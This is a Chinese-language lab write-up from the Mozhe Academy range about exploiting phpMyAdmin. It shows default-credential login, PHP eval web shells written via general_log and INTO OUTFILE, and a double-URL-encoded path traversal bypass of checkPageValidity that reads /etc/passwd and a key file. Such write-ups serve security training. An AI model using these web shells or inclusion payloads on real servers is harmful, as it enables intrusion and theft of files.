墨者學習
By/shy014
地址:https://www.mozhe.cn/bug/detail/RDM4VFA0aHFWT25Na09mdmhqcklxdz09bW96aGUmozhe
1.在墨者學院找到該靶場並點擊啓動靶場
2.點擊訪問,進入靶場環境,並嘗試默認口令(root,root),登陸成功
3.查看MySQL是否限制導入導
show global variables like '%secure%';
4.查看MySQL日誌狀態
show variables like '%general%';
5.利用日誌文件寫入一句話木馬
開啓general_log :set global general_log='on';
設置日誌寫入文件:
SET global general_log_file='/var/www/html/shy.php';
執行命令,自動寫入日誌:SELECT '<?php @eval($_POST[shy]);?>';
6.訪問日誌文件,由於linux權限限制,禁止訪問,不能執行,個體設立了失敗。
7.嘗試直接通過into outfile寫入一句話木馬,訪問執行成功
select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shy.php';
8.使用菜刀連接,下載存在文件包含的PHP文件index.php進行分析
9.對index.php進行分析,發現第55到63行存在問題
if (! empty($_REQUEST['target'])
判斷非空
&& is_string($_REQUEST['target'])
判斷是否是字符串
&& ! preg_match('/^index/', $_REQUEST['target'])
判斷不能以index開頭
&& ! in_array($_REQUEST['target'], $target_blacklist)
判斷是否在$target_blacklist數組中
&& Core::checkPageValidity($_REQUEST['target'])
判斷是否滿足checkPageValidity()函數
) {
include $_REQUEST['target'];
包含通過判斷的target
exit;
}
10.找到 $target_blacklist在第50行,只要 target 參數不是 import.php 或 export.php 就可以
11.從菜刀中找到core.php下載並進行分析
12.找到checkPageValidity函數,在第443行, 發現checkPageValidity() 函數中有三個地方返回true,這三個地方都是判斷變量$_page的值是否在白名單數組$whitelist 中
白名單數組$whitelist的值如下:
checkPageValidity() 函數及分析如下:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
這裏是將未經過任何處理的參數$page的值判斷是否在$whitelist白名單中
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
mb_substr() 函數返回字符串的一部分
mb_strpos():返回要查找的字符串在別一個字符串中首次出現的位置
所以這裏就可以通過?/../../../../../../etc/passwd繞過白名單限制
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
這裏多了一個urldecode()函數,可以利用雙重url編碼繞過
可以把?雙重編碼爲%253f進行繞過白名單限制
%253/../../../../../../etc/passwd
return false;
}
根據以上分析可以構建payload進行包含
Payload: db_sql.php%253f%20/../../../../../../要包含的文件
db_sql.php%253f%20是被當作目錄進行上跳
嘗試利用payload包含passwd文件,讀取成功,
http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../etc/passwd
14.包含根目錄下key.txt文件,獲取key值
http://219.153.49.228:49788/index.php?target=db_sql.php%253f%20/../../../../../../key.txt